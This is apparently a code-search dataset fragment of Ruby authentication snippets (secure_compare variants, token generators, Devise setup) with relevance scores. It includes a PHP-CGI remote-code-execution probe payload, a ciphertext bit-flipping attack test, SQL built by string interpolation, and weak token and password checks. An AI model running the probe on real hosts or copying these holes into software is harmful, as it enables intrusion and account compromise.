"def secure_compare(value)\n a = self.secret\n b = value\n\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_token_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def csrf_compare(s1, s2)\n Rack::Utils.secure_compare(s1, s2)\n end",
"def default_comparer(plain, secret)\n hashed = hashed_or_plain_token(plain)\n ActiveSupport::SecurityUtils.secure_compare hashed, secret\n end",
"def secure_compare(a, b)\n\tif a.length == b.length\n\t\tresult = 0\n\t\tfor i in 0..(a.length - 1)\n\t\t\tresult |= a[i] ^ b[i]\n\t\tend\n\t\tresult == 0\n\telse\n\t\tfalse\n\tend\nend",
"def secure_compare(a, b)\n if a.length == b.length\n result = 0\n for i in 0..(a.length - 1)\n result |= a[i].ord ^ b[i].ord # #ord calls added for ruby1.9\n end\n result == 0\n else\n false\n end\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C*\")\n\n r, i = 0, -1\n b.each_byte { |v| r |= v ^ l[i+=1] }\n r == 0\n end",
"def verify_iat; end",
"def verify_iat; end",
"def secure_compare(a, b)\n\t\treturn false if a.blank? || b.blank? || a.bytesize != b.bytesize\n\t\tl = a.unpack \"C#{a.bytesize}\"\n\n\t\tres = 0\n\t\tb.each_byte { |byte| res |= byte ^ l.shift }\n\t\tres == 0\n\tend",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(other)\n return false unless self.bytesize == other.bytesize\n\n l = self.unpack \"C#{self.bytesize}\"\n\n res = 0\n other.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\tputs l.class\n\n res = 0\n b.each_byte do |byte| \n\t k = l.shift\n\t res |= byte ^ k\n\t puts \"#{byte}-#{k}-#{res}\"\n\tend\n\tputs res\n res == 0\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\nend",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def part_two\n count_valid_passwords(NewPolicy)\n end",
"def constant_time_comparison(mac_a, mac_b)\n result = mac_a.length ^ mac_b.length\n for i in 0..[mac_a.length, mac_b.length].min - 1\n result |= mac_a[i].ord ^ mac_b[i].ord\n end\n result.zero?\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C#{a.bytesize}\")\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false if a.nil? || b.nil? || a.empty? || b.empty? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C#{a.bytesize}\")\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C#{a.bytesize}\")\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def capable_cram_md5_auth?; end",
"def require_token\n today = Time.now\n today_string = today.to_date.to_s\n yesterday_string = today.yesterday.to_date.to_s\n return false unless [today_string, yesterday_string].include?(params[:salt])\n params[:token] == token_with_salt(params[:salt])\n end",
"def ensure_authentication_token\n self.authentication_token = rand(72**8).to_s(36)\n end",
"def cram_md5_challenge; end",
"def same(userID, password)\n if (userID != password)\n false\n else (userID == password)\n true\n end\nend",
"def user_verification; end",
"def part_one\n count_valid_passwords(OldPolicy)\n end",
"def two_factor_confirmed?\n #current_user.two_factor_confirmed_at && session[:two_factor_confirmed_at] == current_user.two_factor_confirmed_at\n current_user.two_factor_confirmed_at_valid? && session[:two_factor_confirmed_at] == current_user.two_factor_confirmed_at\n end",
"def authenticate_by_code(action, code)\n digest = self.send(\"#{action}_digest\")\n sent_at = self.send(\"#{action}_sent_at\")\n return false if digest.nil? or sent_at < 2.hours.ago\n BCrypt::Password.new(digest).is_password?(code.downcase)\n end",
"def verify_jti; end",
"def verify_jti; end",
"def user_verification?; end",
"def test_nonce_not_current\n string = \"0123456789ABCDEF\"\n\n nonce1 = OauthNonce.remember(string, Time.now.to_i - 86430)\n assert_equal false, nonce1, \"Nonces over a day in the past should be rejected\"\n\n nonce2 = OauthNonce.remember(string, Time.now.to_i - 86370)\n assert_not_equal false, nonce2, \"Nonces under a day in the past should be rejected\"\n end",
"def generate_unique_authentication_token\n loop do\n token = SecureRandom.hex[0..6]\n if !User.where(authentication_token: token).exists? && !EmailAuthenticationToken.where(authentication_token: token).exists?\n break token\n end\n end\n end",
"def password_compare(password, user_id)\n password_digest = db.execute(\"SELECT password_digest FROM users WHERE user_id=?\", user_id)[0][0]\n if BCrypt::Password.new(password_digest) == password\n return true\n else\n return false\n end\n\nend",
"def secure_token token=nil\n generated = Crypt.sha1(request.ip)\n return generated == token if token\n generated\n end",
"def password_token_valid?\n (updated_at + 4.hours) > Time.now.utc\n end",
"def auth_token(client_token = '')\n\t\tif self.authen_token == client_token\n\t\t\treturn true\n\t\telse\n\n self.wrong_token_time += 1\n #debugger\n self.save\n if self.wrong_token_time >= 3\n self.generate_token\n end\n \n return false\n\t\tend\t\n\tend",
"def quick_verify\n cached_md5 == remote_md5 and remote_md5 == md5\n end",
"def generate_digest\n Digest::SHA512.hexdigest(\"#{Time.now.usec}#{rand(100)}#{Session.secret}\")\n end",
"def can_tweak_sign?(normal_sign, vandalized_sign)\n normal_hash = character_count(normal_sign)\n vandal_hash = character_count(vandalized_sign)\n vandal_hash.each do |k, v|\n return false if normal_hash[k] < v\n end\n true\nend",
"def verification_token_valid?\n (self.verification_sent_at + 4.hours) > Time.now.utc\n end",
"def make_activation_code\n self.activation_code = Digest::SHA1.hexdigest( Time.now.to_s.split(//).sort_by {rand}.join )\n end",
"def phase_iv(s1, s2)\n hash = Hash.new(0)\n s1.chars.each { |letter| hash[letter] += 1 }\n s2.chars.each { |letter| hash[letter] -= 1 }\n hash.all? { |_, v| v == 0 }\n\nend",
"def valid_otp?\n Redis.current.get(current_user.id) == otp_params[:otp]\n end",
"def verify_expiration; end",
"def verify_expiration; end",
"def verify_not_before; end",
"def verify_not_before; end",
"def two_factor_auth_code_valid?\n unless two_factor_auth_code == record&.two_factor_auth_otp_code\n errors.add(:two_factor_auth_code, 'does not match')\n run_authlogc_ext_callbacks(:after, :two_factor_auth_failed)\n end\n end",
"def verify_iss; end",
"def verify_iss; end",
"def compare_pass (pass)\r\n return self.encrypted_password == sha_hash(\"#{pass}--#{self.salt}\")\r\n end",
"def Same(userID, password)\n if userID != password\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def valid_token?\n five_minutes_ago = DateTime.now - 5.minutes\n params[:timestamp].to_i > five_minutes_ago.to_i &&\n params[:token] == Scalingo::SsoController.generate_authentication_token(params[:id], params[:timestamp])\n end",
"def md5_authkey_preauth( key1, key2, transact, currency )\n Digest::MD5.hexdigest( key2 +\n Digest::MD5.hexdigest( key1 + \"transact=#{transact}&preauth=true¤cy=#{currency}\")\n )\n end",
"def generate_otp_backup_codes\n codes = []\n hashed_codes = []\n number_of_codes = 10\n code_length = 32\n\n number_of_codes.times do\n code = SecureRandom.hex(code_length / 2)\n codes << code\n hashed_codes << Devise::Encryptor.digest(self.class, code)\n end\n\n self.otp_backup_codes = hashed_codes\n\n codes\n end",
"def passwords_are_vlalid(new_password, new_password_confirmation, page_to_render)\n if (new_password.empty?) || (new_password_confirmation.empty?)\n flash.now[:error]=\"Passwords fields can't be blank \"\n render page_to_render\n return false\n elsif new_password.mb_chars.length <6\n flash.now[:error]=\"New password must be at least 6 characters\"\n render page_to_render\n return false\n elsif new_password!=new_password_confirmation\n flash.now[:error]=\"Passwords not equal \"\n render page_to_render\n return false\n else\n return true\n end\n end",
"def make_activation_code\n self.activation_code = Digest::SHA1.hexdigest( Time.now.to_s.split(//).sort_by {rand}.join )\n end",
"def make_password_reset_code\n self.password_reset_code = Digest::SHA1.hexdigest( Time.now.to_s.split(//).sort_by {rand}.join )\n end",
"def passwords_are_vlalid(new_password, new_password_confirmation, page_to_render)\n\n if (new_password.empty?) || (new_password_confirmation.empty?)\n flash.now[:error]=\"Passwords fields can't be blank \"\n render page_to_render\n return false\n elsif new_password.mb_chars.length <6\n flash.now[:error]=\"New password must be at least 6 characters\"\n render page_to_render\n return false\n elsif new_password!=new_password_confirmation\n flash.now[:error]=\"Passwords not equal \"\n render page_to_render\n return false\n else\n return true\n end\n end",
"def verification_init\n self.verification_code = ActiveSupport::SecureRandom.hex(20)\n self.active = 0\n end",
"def authenticatable_salt; end",
"def test_challenge_26\n idx = f1(\"\").\n bytes.\n zip(f1(\"A\").bytes).\n each_with_index do |(l, r), index|\n break index if l != r\n end\n\n p1 = \"XadminXtrue\"\n c1 = f1(p1)\n refute admin?(c1)\n\n ksb0 = p1[0].ord ^ c1[idx].ord\n ncb0 = ksb0 ^ \";\".ord\n c1[idx] = ncb0.chr\n\n ksb6 = p1[6].ord ^ c1[idx + 6].ord\n ncb6 = ksb6 ^ \"=\".ord\n c1[idx + 6] = ncb6.chr\n\n assert admin?(c1)\n end",
"def valid_password(password)\n password = password.to_s.split('').map(&:to_i)\n dubs = false\n for i in 1..5 do\n if password[i] == password[i-1] then \n dubs = true \n elsif password[i] < password[i-1] then\n return false\n end\n end\n return dubs\nend",
"def perform_secret_hashing?\n true\n end",
"def check_auth_token\n generate_authentication_token! if new_record? || user_status_id_changed?\n end",
"def validate_token_no_tmp_datetime(token)\n valid_vals = []\n valid_vals << ROTP::TOTP.new(self.get_qr).at(Time.now)\n (1..self.class.ga_timedrift).each do |cc|\n valid_vals << ROTP::TOTP.new(self.get_qr).at(Time.now.ago(30*cc))\n valid_vals << ROTP::TOTP.new(self.get_qr).at(Time.now.in(30*cc))\n end\n\n if valid_vals.include?(token.to_i)\n return true\n else\n return false\n end\n end",
"def kangaroo(x1, v1, x2, v2)\n # return v2<v1 && !((x2-x1) % (v1-v2)) ? \"YES\" : \"NO\"\n # p (x2-x1)\n # p (v1-v2)\n if (((x2-x1) % (v1-v2)) rescue -1) == 0 && v2 < v1\n return \"YES\"\n else\n return \"NO\"\n end\n\nend",
"def unique_check_key\n @unique_check_key ||= SecureRandom.hex\n end",
"def compare_ips(detected, requested)\n Chef::Log.warn(\" Detected ip '#{detected}'; Requested ip:'#{requested}'\")\n detected == requested\nend",
"def generate_token\n self.perishable_token = Digest::MD5.hexdigest(\"#{Time.now}\")\n end",
"def compare(a, b) # rubocop:disable Naming/MethodParameterName\n return false if a.nil? || b.nil?\n\n # assume the arguments is String\n raise TypeError unless a.is_a?(String) || b.is_a?(String)\n return false unless a.size == b.size\n\n key = SecureRandom.random_bytes(32)\n ah = OpenSSL::HMAC.hexdigest('sha256', key, a)\n bh = OpenSSL::HMAC.hexdigest('sha256', key, b)\n\n # Implementation Note:\n # `&& a == b` is a very very conservative comparison.\n # In my opnion, `ah == bh` is enough to compare securely although several other implementations use\n # the strictly method such as:\n # - https://github.com/rails/rails/blob/v5.2.3/activesupport/lib/active_support/security_utils.rb#L27\n # - https://github.com/suryagh/tsscmp/blob/v1.0.6/lib/index.js#L35\n # So, as of the present time, I add `&& a == b`.\n ah == bh && a == b\n end",
"def session_check\n return if (t_last = last_operation_time).zero?\n return if (t_boot = BOOT_TIME.to_i) < t_last\n __debug { \"last_operation_time #{t_last} < BOOT_TIME #{t_boot}\" }\n Log.info { \"Signed out #{current_user&.to_s || 'user'} after reboot.\" }\n local_sign_out\n end",
"def same?(user,pass)\n if user == pass\n true\n else\n false\n end\nend",
"def normal_php_cgi_rce_check(site)\n http=EasyCurb.new\n rnd = randz(8)\n chksum = Digest::MD5.hexdigest(rnd)\n test_payload = \"<?php print(___); echo md5('#{rnd}'); print(___); ?>\"\n trigger = '/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'\n link = site + trigger\n res = http.post(link, test_payload)\n if res[0] =~ /___#{chksum}___/m\n print_good(\"PHP CGI Code Injection is Possible!\")\n print_status(\"Confirmation: __#{chksum}__\")\n print_status(\"POST: #{link}\")\n print_status(\"DATA: #{test_payload}\")\n return link\n end\n return nil\nend",
"def exact_codesign_identity(identity1, identity2)\n return nil unless codesign_identites_match?(identity1, identity2)\n identity1.length > identity2.length ? identity1 : identity2\n end",
"def generate_two_factor_secret_if_missing!\n return unless otp_secret.nil?\n # update!(otp_secret: User.generate_otp_secret)\n end",
"def authenticatable_salt\n end",
"def generate_checkin_code\n source = \"RE|#{self.current_alias}|#{Time.now.to_i}\"\n login_code = sprintf \"%08x\", Zlib.crc32(source)\n return login_code\n end",
"def verify(otp, counter)\n otp == self.at(counter)\n end",
"def two_factor_confirmed_at_valid_for\n 12.hours\n end",
"def valid_token\n # generate the token\n self.token=Digest::MD5.hexdigest(\"#{Time.now}-#{self.ad_id}-#{self.publisher_id}\")\n\n # Aux var to the ValidatorLoop\n counter = 0\n\n # Loop which validate the token on the DB\n while true do\n another_access = Access.where(token: self.token).take\n break if another_access.nil?\n self.token=\"#{self.token}#{counter}\"\n counter=counter+1\n end\n end",
"def password_check\n return self.encrypted_password==BCrypt::Engine.hash_secret(self.password_verify, self.salt)\n end",
"def can_tweak_sign?(normal_sign, vandalized_sign)\n normal_sign_hsh = Hash.new(0)\n van_sign_arr = vandalized_sign.split(\"\")\n normal_sign.each_char do |char| \n normal_sign_hsh[char.downcase] += 1\n end\n\n van_sign_arr.all? do |char| \n normal_sign_hsh.include?(char.downcase)\n end\nend",
"def user_verified; end",
"def verification_code\n raise ArgumentError, 'Hash is not set' if @hash.nil?\n\n binary = @hash.unpack1('B*').split //\n [*binary.first(6), *binary.last(7)].join.to_i(2)\n end",
"def generate_auth_token!\n \tbegin\n \t\tself.auth_token = Devise.friendly_token\n \tend while User.exists?(auth_token: auth_token)\n\tend",
"def generate_authentication_token\n\t\tloop do\n\t\t\ttoken = SecureRandom.base64.tr('+/=', 'Qrt')\n\t\t\tbreak token unless User.exists?(authentication_token: token)\n\t\tend\n\tend",
"def rest_check_register(input)\n db = Mysql.new(config['mysql_server'], config['mysql_admin'], config['mysql_admin_password'], \"tatoc\")\n response = \"0\"\n timestamp = Time.now.to_i\n rows = db.query(\"select * from rest where id=#{input.id}\")\n rows.each do |row|\n generated_signature = row[2]\n if input.signature == generated_signature\n if row[3].to_i >= timestamp-30\n if input.allow_access == \"1\"\n db.query(\"update rest set allow_pass=1 where id=#{input.id}\")\n else\n response = \"3 - Incorrect 'allow_access' value\"\n end\n else\n response = \"2 - Token expired\"\n end\n else\n response = \"1 - Token mismatch\"\n end\n end\n response\n end",
"def generate_small_token(column)\n loop do\n token = Devise.friendly_token[0,5].upcase\n break token unless to_adapter.find_first({ column => token })\n end\n end",
"def generate_activation_code\n #self.security_token = Digest::SHA1.hexdigest(\"--#{Time.now.to_s}--#{email}--#{salt}--\")\n generate_security_token\n end"
] | [
"0.595053",
"0.5904778",
"0.5747252",
"0.5661701",
"0.56509936",
"0.56411606",
"0.56146735",
"0.56043935",
"0.56000566",
"0.5570236",
"0.5570236",
"0.55407435",
"0.55240667",
"0.55119526",
"0.549416",
"0.54883504",
"0.5486249",
"0.54762703",
"0.547471",
"0.546547",
"0.5460035",
"0.5457084",
"0.5449049",
"0.5427688",
"0.54222417",
"0.54146975",
"0.53859633",
"0.5373502",
"0.53355634",
"0.53210014",
"0.53152865",
"0.5299259",
"0.52873874",
"0.5207818",
"0.5185223",
"0.5176167",
"0.5176167",
"0.5176143",
"0.5163636",
"0.5163263",
"0.51614845",
"0.5156609",
"0.5138247",
"0.5136076",
"0.51260567",
"0.5120009",
"0.5087214",
"0.5086573",
"0.5084879",
"0.50834644",
"0.50768226",
"0.5075048",
"0.5075048",
"0.50644237",
"0.50644237",
"0.5062147",
"0.50398964",
"0.50398964",
"0.50398433",
"0.50309503",
"0.5025191",
"0.50207615",
"0.50194335",
"0.50047016",
"0.49936748",
"0.499013",
"0.49885768",
"0.49832994",
"0.4977374",
"0.49753758",
"0.49751374",
"0.49715135",
"0.49704468",
"0.49646622",
"0.49635223",
"0.49473774",
"0.49399617",
"0.4939271",
"0.49382538",
"0.49306706",
"0.49299762",
"0.4927074",
"0.49265197",
"0.49223226",
"0.49196887",
"0.4918022",
"0.49158686",
"0.49124628",
"0.49107608",
"0.49062353",
"0.49007797",
"0.48927557",
"0.48901853",
"0.4890169",
"0.48893198",
"0.4886057",
"0.4878992",
"0.48692855"
] | 0.69561625 | 2 |
Default way to set up Devise. Run rails generate devise_install to create a fresh initializer with all configuration values. | def setup; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_install(&block)\n if block_given?\n Devise.setup do |config|\n block.call config\n end\n end\n end",
"def install_devise\n require 'devise'\n if File.exists?(File.join(destination_root, \"config\", \"initializers\", \"devise.rb\"))\n puts \"\\n=================================================================================\\n\"\n puts \"No need to install devise, already done.\"\n if File.exists?(File.join(destination_root, \"app\", \"models\", \"user.rb\"))\n puts \"No need to generate a user model for devise,already done.\"\n application do\n \"config.devise_model_name = 'user'\"\n end #EO application while\n else\n model_name = ask(\"What is the devise model to be called? [user]\")\n generate(\"devise\", model_name)\n application do\n \"config.devise_model_name = '\"+model_name.to_s+\"'\"\n end #EO application while \n end #EO File exists user.rb if\n puts \"\\n=====================================================================================\\n\"\n else\n if yes?(\"Would you like to install Devise?\")\n gem(\"devise\")\n generate(\"devise:install\")\n model_name = ask(\"What would you like the user model to be called? [user]\")\n model_name = \"user\" if model_name.blank?\n generate(\"devise\", model_name)\n application do\n \"config.devise_model_name = '\"+model_name.to_s+\"'\"\n end #EO application while\n puts \"\\n===================================================================================\\n\" \n end #EO Devise install if \n end #EO File exists devise.rb if\n end",
"def add_users\n # Install Devise\n generate \"devise:install\"\n\n # Configure Devise\n environment \"config.action_mailer.default_url_options = { host: 'localhost', port: 3000 }\",\n env: 'development'\n route \"root to: 'home#index'\"\n\n # Devise notices are installed via Bootstrap\n generate \"devise:views:bootstrapped\"\n\n # Create Devise User\n generate :devise, \"User\",\n \"name\",\n \"admin:boolean\"\n\n # Set admin default to false\n in_root do\n migration = Dir.glob(\"db/migrate/*\").max_by{ |f| File.mtime(f) }\n gsub_file migration, /:admin/, \":admin, default: false\"\n end\n\n requirement = Gem::Requirement.new(\"> 5.2\")\n rails_version = Gem::Version.new(Rails::VERSION::STRING)\n\n if requirement.satisfied_by? rails_version\n gsub_file \"config/initializers/devise.rb\",\n / # config.secret_key = .+/,\n \" config.secret_key = Rails.application.credentials.secret_key_base\"\n end\n\n # Add Devise masqueradable to users\n inject_into_file(\"app/models/user.rb\", \"masqueradable, :\", after: \"devise :\")\nend",
"def generate_user(package_dir)\n system \"rails generate devise:install\"\n\n replace('config/environments/development.rb',\n \"config.action_mailer.raise_delivery_errors \\= false\",\n \"config.action_mailer.raise_delivery_errors = false\\n\\tconfig.action_mailer.default_url_options = { host: 'localhost:3000' }\")\n system \"rails generate devise User\"\n\n # make the authentication return a json\n dest = \"app/controllers/sessions_controller.rb\"\n File.new(dest, \"w\")\n FileUtils.cp \"#{package_dir}/template/#{dest}\", dest\n\n replace('config/routes.rb', 'devise_for :users', \"devise_for :users, :controllers => { sessions: 'sessions' } \")\n\n system \"git add -A\"\n system \"git commit -m 'Add devise and configure it'\"\nend",
"def devise_mappings; end",
"def setup\n @request.env[\"devise.mapping\"] = Devise.mappings[:admin]\n sign_in FactoryGirl.create(:admin)\n end",
"def devise_modules_hook!; end",
"def apply_devise_schema(name, type, options={})\n raise NotImplementedError\n end",
"def devise_controller?; end",
"def setup \n \t@user = User.create(email: '[email protected]', password: '123456789', \n \t\tpassword_confirmation: '123456789')\n \[email protected][\"devise.mapping\"] = Devise.mappings[:user]\n \t@user1 = users(:one)\n \[email protected] = accounts(:one)\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def update_devise_rb\n inject_into_file 'config/initializers/devise.rb', after: \"config.sign_out_via = :delete\\n\" do <<-'RUBY'\n\n # Config Social Keys to create the SignUps\n config.sign_out_via = :get\n config.omniauth :facebook, ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"], { :scope => 'email, offline_access', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :twitter, ENV[\"TWITTER_KEY\"], ENV[\"TWITTER_SECRET\"], { :scope => 'r_fullprofile, r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :linkedin, ENV[\"LINKEDIN_KEY\"], ENV[\"LINKEDIN_SECRET\"], { :scope => 'r_fullprofile r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :github, ENV['GITHUB_KEY'], ENV['GITHUB_SECRET'], scope: \"user, public_repo\"\n config.omniauth :google_oauth2, ENV['GOOGLE_KEY'], ENV['GOOGLE_SECRET'], {}\n\n RUBY\n end\n\n puts 'Check your config/initializers/devise.rb which was updated to have the Social Keys used (OmniAuth linked to devise)'.colorize(:light_green)\n puts 'UPDATE your config/initializers/devise.rb if you need more data from the user, CHANGING the: SCOPE'.colorize(:light_yellow)\n end",
"def add_devise_route # :nodoc:\n devise_route = <<-ROUTE\n\n devise_for :users,\n path: '',\n path_names: {\n :sign_in => 'login',\n :sign_out => 'logout',\n :sign_up => 'create',\n :password => 'reset_password',\n :confirmation => 'confirm_user',\n :registration => 'account'\n }\n ROUTE\n inject_into_file \"config/routes.rb\",\n devise_route,\n after: %r{Application\\.routes\\.draw do\\n}\n end",
"def add_config_options_to_initializer\n devise_initializer_path = \"config/initializers/devise.rb\"\n if File.exist?(devise_initializer_path)\n old_content = File.read(devise_initializer_path)\n\n if old_content.match(Regexp.new(/^\\s# ==> Configuration for :trialable\\n/))\n false\n else\n inject_into_file(devise_initializer_path, :before => \" # ==> Configuration for :confirmable\\n\") do\n<<-CONTENT\n # ==> Configuration for :trialable\n # The period a user can access the site without enrolling\n # config.trial_period = 60.days\n\nCONTENT\n end\n end\n end\n end",
"def configure_devise_params\n devise_parameter_sanitizer.for(:sign_up) do |u|\n u.permit(:first_name, :last_name, :email, :role, :password,\n :password_confirmation)\n end\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:first_name, :last_name, :email, :role, :password,\n :password_confirmation, :current_password)\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:email, :password, :remember_me)\n end\n\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(:email, :password, :password_confirmation)\n end\n end",
"def initialize\n super\n if Lynr.features.demo?\n self.send(:extend, Signup::Demo)\n else\n self.send(:extend, Signup::Default)\n end\n end",
"def devise_mapping\n @devise_mapping ||= request.env[\"devise.mapping\"]\n end",
"def install_initializer\n output \"This installs a basic initializer where you can set the method that stores the name of the bootswatch bootswatch to be displayed.\", :magenta\n template \"initializer.rb\", \"config/initializers/bootswitch.rb\"\n end",
"def developer_new\n return unless Rails.env.development?\n unless user_signed_in?\n dev_user = User.find_by(\n uid: DEVELOPMENT_USER_CONFIG[:uid]\n ) || User.create!(DEVELOPMENT_USER_CONFIG)\n\n sign_in(dev_user, scope: :user)\n end\n redirect_to root_path\n end",
"def send_create_instructions\n\n ActiveSupport::Deprecation.warn \"send_create_instructions\"\n opts = { }\n send_devise_notification(:create, opts)\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation) }\n end",
"def configure_permitted_parameters\n\t devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:name, :email, :password, :password_confirmartion) }\n\tend",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email])\n end",
"def apply_devise_schema(name, type, options={})\n eval \"#{type.entity_name}, #{name}, #{options.to_s}\"\n end",
"def configure_permitted_parameters\n\t devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :first_name, :last_name, :about, :occupation, :field, :orientation, :interest, :physical, :free_time, :image, :gender, :birthday)}\n\tend",
"def activedirectory_connect\n ActiveDirectory::Base.enable_cache if ::Devise.ad_caching\n ActiveDirectory::Base.setup(::Devise.ad_settings)\n raise DeviseActiveDirectoryAuthenticatable::ActiveDirectoryException, \"Invalid Username or Password\" unless ActiveDirectory::Base.connected?\n end",
"def development_auth\n @user = User.from_params(development_user_params)\n check_invite(@user)\n handle_sign_in(@user, \"development\")\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:dealer_code,\n :password,\n :password_confirmation,\n :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:dealer_code,\n :password,\n :remember_me) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:email, :password, :password_confirmation, :first_name, :last_name) }\n end",
"def developer\n raise 'Invalid Authentication' unless ENV['FAKE_AUTH_ENABLED'] == 'true'\n @user = User.from_omniauth(request.env['omniauth.auth'])\n @user.save\n sign_in_and_redirect @user, event: :authentication\n flash[:notice] = \"Welcome #{@user.email}!\"\n end",
"def send_devise_notification(notification, *args); end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[pseudo email password password_confirmation])\n end",
"def create\n if Feedbunch::Application.config.signups_enabled\n super\n else\n Rails.logger.warn \"Creation of new user attempted, but signups are disabled\"\n redirect_to root_path\n end\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:attribute, :first_name, :last_name, :terms_and_conditions, :profile_image]\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [\n :name, :current_profession, :years_experience,\n :desired_profession, :desired_location, :work_status\n ]\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:first_name, :last_name, :email, :password,\n :password_confirmation, :phone, :photo, :bio]\n end",
"def configure_devise_permitted_parameters\n\t\tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[name username email password password_confirmation])\n\t\tdevise_parameter_sanitizer.permit(:sign_in, keys: %i[login password remember_me])\n\t\tdevise_parameter_sanitizer.permit(:account_update, keys: %i[name username email current_password password password_confirmation])\n\tend",
"def initial_setup\n CORE.each { |c| c.auto_migrate! }\n end",
"def setup_warden_additions\n @failure_app = Oath::Lockdown::FailureApp\n @lockable_authentication_strategy = Oath::Lockdown::Strategies::LockablePasswordStrategy\n @remember_me_authentication_strategy = Oath::Lockdown::Strategies::RememberMeStrategy\n @warden_authentication_strategies = [:oath_remember_me, :oath_lockable, :oath]\n @warden_no_input_authentication_strategies = [:oath_remember_me]\n end",
"def configure_create_parameters\n devise_parameter_sanitizer.for(:sign_up) << :name\n devise_parameter_sanitizer.for(:sign_up) << :is_seller\n end",
"def apply_devise_schema(name, type, options={})\n return unless Devise.apply_schema\n property name, :cast_as => type\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :middle_initial, :last_name, :username, :type, :email, :password, :password_confirmation) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:logon, :username, :email, :password, :remember_me) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u|\n u.permit(:uid, :email, :password, :password_confirmation, :remember_me)\n }\n devise_parameter_sanitizer.for(:sign_in) { |u|\n u.permit(:login, :uid, :email, :password, :remember_me)\n }\n devise_parameter_sanitizer.for(:account_update) { |u|\n u.permit(:uid, :email, :password, :password_confirmation, :current_password)\n }\n end",
